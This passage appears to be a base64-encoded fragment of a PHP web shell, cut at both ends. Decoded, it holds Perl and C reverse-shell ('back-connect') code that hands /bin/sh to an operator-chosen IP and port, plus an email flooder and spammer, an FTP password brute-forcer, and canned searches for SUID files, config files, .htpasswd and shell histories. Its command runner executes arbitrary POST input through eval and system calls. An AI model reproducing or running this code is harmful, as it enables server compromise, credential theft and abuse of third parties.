k5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KDQokYyA9ICJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KDQppZigkbWV0aG9kPT0nUGVybCcpDQoJew0KCQlmcHV0cygkaT1mb3BlbignL3RtcC9zaGxiY2snLCd3JyksYmFzZTY0X2RlY29kZSgkcGVybCkpOw0KCQlmY2xvc2UoJGkpOw0KCQlleCh3aGljaCgicGVybCIpLiIgL3RtcC9zaGxiY2sgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOw0KCQl1bmxpbmsoIi90bXAvc2hsYmNrIik7DQoJCXJldHVybiBleCgnbmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbicpOw0KCX0NCmVsc2VpZigkbWV0aG9kPT0nQyMnKQ0KCXsNCgkJZnB1dHMoJGk9Zm9wZW4oJy90bXAvc2hsYmNrLmMnLCd3JyksYmFzZTY0X2RlY29kZSgkYykpOw0KCQlmY2xvc2UoJGkpOw0KCQlleCgiZ2NjIHNobGJjay5jIC1vIHNobGJjayIpOw0KCQl1bmxpbmsoJ3NobGJjay5jJyk7DQoJCWV4KCIvdG1wL3NobGJjayAiLiRpcC4iICIuJHBvcnQuIiAmIik7DQoJCXVubGluaygiL3RtcC9zaGxiY2siKTsNCgkJcmV0dXJuIGV4KCduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJyk7DQoJfWVsc2UNCgl7DQoJcmV0dXJuICdDaG9vc2UgbWV0aG9kJzsNCgl9DQp9DQoNCmlmKCRfUE9TVFsndHlwZSddPT0xMSl7ZG93bmxvYWQoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpO307DQoNCmZ1bmN0aW9uIGRvd25sb2FkKCRkZmlsZW5hbWUpDQp7DQoJJGZpbGU9Zm9wZW4oJGRmaWxlbmFtZSwiciIpOw0KCW9iX2NsZWFuKCk7DQogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJGRmaWxlbmFtZSk7DQogICAgJGZpbGVkdW1wID0gZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRkZmlsZW5hbWUpKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmaWxlbmFtZS4iXCI7Iik7ICAgDQogICAgZWNobyAkZmlsZWR1bXA7DQp9DQoNCmZ1bmN0aW9uIGZsb29kZXIoJGxvZ2YsJHRvLCRmcm9tLCRzdWJqZWN0LCRtc2csJGFtb3VudCwkY2hlY2spDQp7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQokZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCiRjb3VudCA9IDA7DQppZighJGxvZ2Ypew0KcmV0dXJuICJGaWxsICdsb2dfZmlsZScgZmllbGQhIjsNCn1lbHNlaWYoISR0byl7DQpyZXR1cm4gIkZpbGwgJ1NlbmQgdG8nIGZpZWxkISI7DQp9ZWxzZWlmKCEkZnJvbSl7DQpyZXR1cm4gIkZpbGwgJ0Zyb20nIGZpZWxkISI7DQp9ZWxzZWlmKCEkc3ViamVjdCl7DQpyZXR1cm4gIkZpbGwgJ1N1YmplY3QnIGZpZWxkISI7DQp9ZWxzZWlmKCEkbXNnKXsNCnJldHVybiAiRmlsbCAnTWVzc2FnZScgZmllbGQhIjsNCn1lbHNlaWYoISRhbW91bnQpew0KcmV0dXJuICJGaWxsICdBbW91bnQnIGZpZWxkISI7DQp9ZWxzZXsNCgl3aGlsZSgkY291bnQgPCAkYW1vdW50KXsNCgkJbWFpbCgiJHRvIiwgIiRzdWJqZWN0IiwgIiRtc2ciLCAiRnJvbTogJGZyb20iKTsNCgkJJGNvdW50ID0gJGNvdW50ICsgMTsNCgkJJGZsID0gZm9wZW4oJGxvZ2YsICJ3Iik7DQoJCWZwdXRzKCRmbCwgIiRjb3VudCBmbG9vZC1sZXR0ZXJzIHdhcyBzZW5kZWQuLi4iKTsNCgkJZmNsb3NlKCRmbCk7CQ0KCX0NCglpZihzdHJsZW4oJGNoZWNrKSAhPSAwKXsNCgkJJGNoZWNrX3RleHQgPSAiRG9uZSEgJGNvdW50IGZsb29kLWxldHRlcnMgd2FzIHNlbmRlZCEiOw0KCQkkY2hlY2tfc3ViID0gJ0NoZWNrJzsNCgkJbWFpbCgiJGNoZWNrIiwgIiRjaGVja19zdWIiLCAiJGNoZWNrX3RleHQiLCAiRnJvbTogJGZyb20iKTsNCgkJJGZsID0gZm9wZW4oJGxvZ2YsICJ3Iik7DQoJCWZwdXRzKCRmbCwgIkRvbmUhICRjb3VudCBmbG9vZC1sZXR0ZXJzIHdhcyBzZW5kZWQhIik7DQoJfQ0KCWVsc2V7DQoJCSRmbCA9IGZvcGVuKCRsb2dmLCAidyIpOw0KCQlmcHV0cygkZmwsICJEb25lISAkY291bnQgZmxvb2QtbGV0dGVycyB3YXMgc2VuZGVkISIpOw0KCX0NCn0NCmZjbG9zZSgkZmwpOw0KfQ0KDQpmdW5jdGlvbiBmdHBfYnJ1dGUoJGhvc3QsJGZ0cF91c2VycywkZnRwX3Bhc3N3ZCwkZnRwX2xvZykNCnsNCmlnbm9yZV91c2VyX2Fib3J0KDEpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQoNCiRmbCA9IGZvcGVuKCRmdHBfdXNlcnMsICJyIik7DQokZmQgPSBmb3BlbigkZnRwX3Bhc3N3ZCwgInIiKTsNCiRmciA9IGZvcGVuKCRmdHBfbG9nLCAiYSsiKTsNCmlmKCEkaG9zdCl7DQpyZXR1cm4gIkZpbGwgJ0hvc3QnIGZpZWxkISI7DQp9ZWxzZWlmKCEkZnRwX3VzZXJzKXsNCnJldHVybiAiRmlsbCAnZnRwX3VzZXJzIGZpbGUnIGZpZWxkISI7DQp9ZWxzZWlmKCEkZnRwX3Bhc3N3ZCl7DQpyZXR1cm4gIkZpbGwgJ2Z0cF9wYXNzd2QgZmlsZScgZmllbGQhIjsNCn1lbHNlaWYoISRmdHBfbG9nKXsNCnJldHVybiAiRmlsbCAnZnRwX2xvZyBmaWxlJyBmaWVsZCEiOw0KfWVsc2VpZighZmlsZV9leGlzdHMoJGZ0cF91c2Vycykpew0KcmV0dXJuICJGaWxlICIuJGZ0cF91c2Vycy4iIGRvZXNuJ3QgZXhpc3RzISI7DQp9ZWxzZWlmKCFmaWxlX2V4aXN0cygkZnRwX3Bhc3N3ZCkpew0KcmV0dXJuICJGaWxlICIuJGZ0cF9wYXNzd2QuIiBkb2Vzbid0IGV4aXN0cyEiOw0KfQ0KZWxzZXsNCgl3aGlsZSghZmVvZigkZmQpKXsNCiAgICAgICAgCSRwYXNzID0gZmdldHMoJGZkKTsNCiAgICAgICAgICAgICAgICAJd2hpbGUoIWZlb2YoJGZsKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAJJHVzZXIgPSBmZ2V0cygkZmwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29ubmVjdCA9IGZ0cF9jb25uZWN0KCRob3N0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRjb25uZWN0KXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCWZwdXRzKCRmciwgIkVuYWJsZSBjb25uZWN0IHRvICRob3N0XG4iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCSRhdXRoID0gZnRwX2xvZ2luKCRjb25uZWN0LCAkdXNlciwgJHBhc3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJaWYoISRhdXRoKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQlmdHBfcXVpdCgkY29ubmVjdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAllbHNlew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJCWZwdXRzKCRmciwgIiRob3N0OlxuLS0tJGxvZ2luOiRwYXNzXG4tLS0iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCQlmdHBfcXVpdCgkY29ubmVjdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAl9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgCX0NCgl9DQoJZnB1dHMoJGZyLCAiRG9uZTpcbiIpOw0KCWZjbG9zZSgkZnIpOw0KfQ0KZmNsb3NlKCRmbCk7DQpmY2xvc2UoJGZkKTsNCn0NCg0KZnVuY3Rpb24gc3BhbW1lcigkZnJvbSwkc3ViamVjdCwkbXNnLCRjaGVjaywkZWxpc3QsJGxvZ2YpDQp7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCnNldF90aW1lX2xpbWl0KDApOw0KDQokZnAgPSBmb3BlbigkZWxpc3QuICJyIik7DQokZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCiRjb3VudCA9IDA7DQppZighJGZyb20pew0KcmV0dXJuICJGaWxsICdGcm9tJyBmaWVsZCEiOw0KfWVsc2VpZighJGVsaXN0KXsNCnJldHVybiAiRmlsbCAnRW1haWxzIGxpc3QnIGZpZWxkISI7DQp9ZWxzZWlmKCEkbG9nZil7DQpyZXR1cm4gIkZpbGwgJ0xvZyBGaWxlJyBmaWVsZCEiOw0KfWVsc2VpZighJG1zZyl7DQpyZXR1cm4gIkZpbGwgJ01lc3NhZ2UnIGZpZWxkISI7DQp9ZWxzZWlmKCEkc3ViamVjdCl7DQpyZXR1cm4gIkZpbGwgJ1N1YmplY3QnIGZpZWxkISI7DQp9ZWxzZWlmKCFmaWxlX2V4aXN0cygkZWxpc3QpKXsNCnJldHVybiAiRmlsZSAiLiRlbGlzdC4iIGRvZXNuJ3QgZXhpc3RzISI7DQp9ZWxzZXsNCgl3aGlsZSghZmVvZigkZnApKXsNCgkJJHRvID0gZmdldHMoJGZwKTsNCgkJbWFpbCgiJHRvIiwgIiRzdWJqZWN0IiwgIiRtc2ciLCAiRnJvbTogJGZyb20iKTsNCgkJJGNvdW50ID0gJGNvdW50ICsgMTsNCgkJJGZsID0gZm9wZW4oJGxvZ2YsICJ3Iik7DQoJCWZwdXRzKCRmbCwgIiRjb3VudCBsZXR0ZXJzIHdhcyBzZW5kZWQuLi4iKTsNCgkJZmNsb3NlKCRmbCk7DQoJfQ0KCWlmKHN0cmxlbigkY2hlY2spICE9IDApew0KCQkkY2hlY2tfdGV4dCA9ICJEb25lISAkY291bnQgbGV0dGVycyB3YXMgc2VuZGVkISI7DQoJCSRjaGVja19zdWIgPSAnQ2hlY2snOw0KCQltYWlsKCIkY2hlY2siLCAiJGNoZWNrX3N1YiIsICIkY2hlY2tfdGV4dCIsICJGcm9tOiAkZnJvbSIpOw0KCQkkZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCgkJZnB1dHMoJGZsLCAiRG9uZSEgJGNvdW50IGxldHRlcnMgd2FzIHNlbmRlZCFcbiIpOw0KCX0NCgllbHNlew0KCQkkZmwgPSBmb3BlbigkbG9nZiwgInciKTsNCgkJZnB1dHMoJGZsLCAiRG9uZSEgJGNvdW50IGxldHRlcnMgd2FzIHNlbmRlZCEiKTsNCgl9DQp9DQpmY2xvc2UoJGZwKTsNCmZjbG9zZSgkZmwpOw0KfQ0KDQpmdW5jdGlvbiBhbGlhcygkaW4pDQp7DQppZigkaW49PSJmaW5kIGFwYWhjZSBjb25maWcgZmlsZSIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgaHR0cGQuY29uZicpO30NCmVsc2VpZigkaW49PSJmaW5kIGFjY2Vzc19sb2cgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGFjY2Vzc19sb2cnKTt9DQplbHNlaWYoJGluPT0iZmluZCBlcnJvcl9sb2cgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGVycm9yX2xvZycpO30NCmVsc2VpZigkaW49PSJmaW5kIHN1aWQgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgc2dpZCBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIpe3JldHVybiBleCgnZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnKTt9DQplbHNlaWYoJGluPT0iZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyBpbiBjdXJyZW50IGRpciIpe3JldHVybiBleCgnZmluZCAuIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAnKTt9DQplbHNlaWYoJGluPT0iZmluZCBjb25maWcqIGZpbGVzIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiInKTt9DQplbHNlaWYoJGluPT0iZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSAiY29uZmlnKiInKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgd3JpdGFibGUgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1wZXJtIC0yIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpciIpe3JldHVybiBleCgnZmluZCAuIC10eXBlIGYgLXBlcm0gLTIgLWxzJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZCAtcGVybSAtMiAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBkaXIiKXtyZXR1cm4gZXgoJ2ZpbmQgLiAtdHlwZSBkIC1wZXJtIC0yIC1scycpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtcGVybSAtMiAtbHMnKTt9DQplbHNlaWYoJGluPT0iZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXBlcm0gLTIgLWxzJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcpO30NCmVsc2VpZigkaW49PSJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcpO30NCmVsc2VpZigkaW49PSJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIpe3JldHVybiBleCgnZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknKTt9DQplbHNlaWYoJGluPT0iZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5Jyk7fQ0KZWxzZWlmKCRpbj09ImZpbmQgYWxsIC5teXNxbF9oaXN0b3J5IGZpbGVzIil7cmV0dXJuIGV4KCdmaW5kIC8gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScpO30NCmVsc2VpZigkaW49PSJmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIil7cmV0dXJuIGV4KCdmaW5kIC4gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScpO30NCmVsc2VpZigkaW49PSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiKXtyZXR1cm4gZXgoJ2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycpO30NCmVsc2VpZigkaW49PSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIpe3JldHVybiBleCgnZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJyk7fQ0KZWxzZWlmKCRpbj09Imxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIil7cmV0dXJuIGV4KCdsc2F0dHIgLXZhJyk7fQ0KZWxzZWlmKCRpbj09InNob3cgb3BlbmVkIHBvcnRzIil7cmV0dXJuIGV4KCduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJyk7fQ0KZWxzZWlmKCRpbj09Ii0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpe3JldHVybiBleCgnbHMgLWxhJyk7fQ0KfQ0KDQpmdW5jdGlvbiB0ZXN0cGVybCgpDQp7DQoJaWYoZXgoJ3BlcmwgLWgnKSkNCgl7DQoJCXJldHVybiAiIFBlcmwyOk9OPC9mb250PiI7DQoJfWVsc2V7DQoJCXJldHVybiAiIFBlcmwyOk9GRjwvZm9udD4iOw0KCX0NCn0NCg0KZnVuY3Rpb24gdGVzdGx5bngoKQ0Kew0KCWlmKGV4KCdseW54IC0taGVscCcpKQ0KCXsNCgkJcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9Z3JlZW4+T048L2ZvbnQ+IjsNCgl9ZWxzZXsNCgkJcmV0dXJuICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPk9GRjwvZm9udD4iOw0KCX0NCn0NCg0KDQpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KDQpmdW5jdGlvbiB0ZXN0ZmV0Y2goKQ0Kew0KCWlmKGV4KCdmZXRjaCAtLWhlbHAnKSkNCgl7DQoJCXJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQoJfWVsc2V7DQoJCXJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCgl9DQp9DQoNCmZ1bmN0aW9uIHRlc3R3Z2V0KCkNCnsNCglpZihleCgnd2dldCAtLWhlbHAnKSkNCgl7DQoJCXJldHVybiAiIHdnZXQyOk9OPC9mb250PiI7DQoJfWVsc2V7DQoJCXJldHVybiAiIHdnZXQyOk9GRjwvZm9udD4iOw0KCX0NCn0NCg0KZnVuY3Rpb24gb3JhY2xlKCkNCnsNCglpZihmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpDQoJew0KCQlyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KCX1lbHNlew0KCQlyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBwb3N0Z3Jlc3FsKCkNCnsNCglpZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkNCgl7DQoJCXJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQoJfWVsc2V7DQoJCXJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCgl9DQp9DQoNCmZ1bmN0aW9uIHRlc3Rtc3NxbCgpDQp7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJew0KCQlyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KCX1lbHNlew0KCQlyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQoJfQ0KfQ0KZnVuY3Rpb24gdGVzdGN1cmwoKQ0Kew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpDQoJew0KCQlyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1ncmVlbj5PTjwvZm9udD4iOw0KCX1lbHNlew0KCQlyZXR1cm4gIjxmb250IHNpemU9MiBjb2xvcj1yZWQ+T0ZGPC9mb250PiI7DQoJfQ0KfQ0KZnVuY3Rpb24gdGVzdG15c3FsKCkNCnsNCglpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkNCgl7DQoJCXJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPWdyZWVuPk9OPC9mb250PiI7DQoJfWVsc2V7DQoJCXJldHVybiAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5PRkY8L2ZvbnQ+IjsNCgl9DQp9DQpmdW5jdGlvbiBzYWZlX21vZGUoKQ0Kew0KaWYoISRzYWZlX21vZGUgJiYgc3RycG9zKGV4KCJlY2hvIGFiY2gwbGQiKSwiaDBsZCIpIT0zKQ0KCXsNCgkJJF9TRVNTSU9OWydzYWZlX21vZGUnXSA9IDE7DQoJCXJldHVybiAiIFNhZmVfbW9kZTI6T048L2ZvbnQ+IjsNCgl9ZWxzZXsNCgkJJF9TRVNTSU9OWydzYWZlX21vZGUnXSA9IDA7DQoJCXJldHVybiAiIFNhZmVfbW9kZTI6T0ZGPC9mb250PiI7DQoJfQ0KfTsNCg0KZnVuY3Rpb24gZXgoJGluKQ0Kew0KJG91dCA9ICcnOw0KDQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KCXsNCgkJZXhlYygkaW4sJG91dCk7DQoJCSRvdXQgPSBqb2luKCJcbiIsJG91dCk7DQoJfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgl7DQoJCW9iX3N0YXJ0KCk7DQoJCXBhc3N0aHJ1KCRpbik7DQoJCSRvdXQgPSBvYl9nZXRfY29udGVudHMoKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoJfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpDQoJew0KCQlvYl9zdGFydCgpOw0KCQlzeXN0ZW0oJGluKTsNCgkJJG91dCA9IG9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgl9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpDQoJew0KCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KCX0NCmVsc2VpZihpc19yZXNvdXJjZSgkZiA9IHBvcGVuKCRpbiwiciIpKSkNCiAgew0KICAgJG91dCA9ICIiOw0KICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOyB9DQogICBwY2xvc2UoJGYpOw0KICB9DQpyZXR1cm4gJG91dDsNCn0NCg0KZnVuY3Rpb24gc2hlbGwoKQ0Kew0KaWYoJF9QT1NUWyd0eXBlJ109PTEpDQoJewkJDQoJCWV2YWwoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpOw0KCX0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09MikNCgl7DQoJCXB3ZCgpOw0KCQlwcmludF9yKGV4KHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKSk7DQoJfQ0KZWxzZWlmKCRfUE9TVFsndHlwZSddPT0zKQ0KCXsNCgkJaWYoJF9TRVNTSU9OWydzYWZlX21vZGUnXSA9PSAxKXsNCgkJaWYoKCR1PXNhZmVfZXgoJ2xzIC1sYScpKSE9JycpDQoJCXtyZXR1cm4gJHU7fWVsc2V7cmV0dXJuIHNhZmVfZXgoJ2RpcicpO307DQoJCQ0KCQl9ZWxzZXsNCgkJaWYoKCR1PWV4KCdscyAtbGEnKSkhPScnKQ0KCQl7cmV0dXJuICR1O31lbHNle3JldHVybiBleCgnZGlyJyk7fTsNCgkJfQ0KCX0NCmVsc2VpZigkX1BPU1RbJ3R5cGUnXT09NCkNCgl7DQoJCWlmKGZpbGVfZXhpc3RzKHN0cmlwc2xhc2hlcygkX1BPU1RbJ3ZhbHVlJ10pKSkNCgkJCXsNCgkJCQlpZigkc2FmZV9tb2RlIT0xKXsNCgkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoZnJlYWQoZm9wZW4oc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSksInJ3IiksZmlsZXNpemUoc3RyaXBzbGFzaGVzKCRfUE9TVFsndmFsdWUnXSkpKSk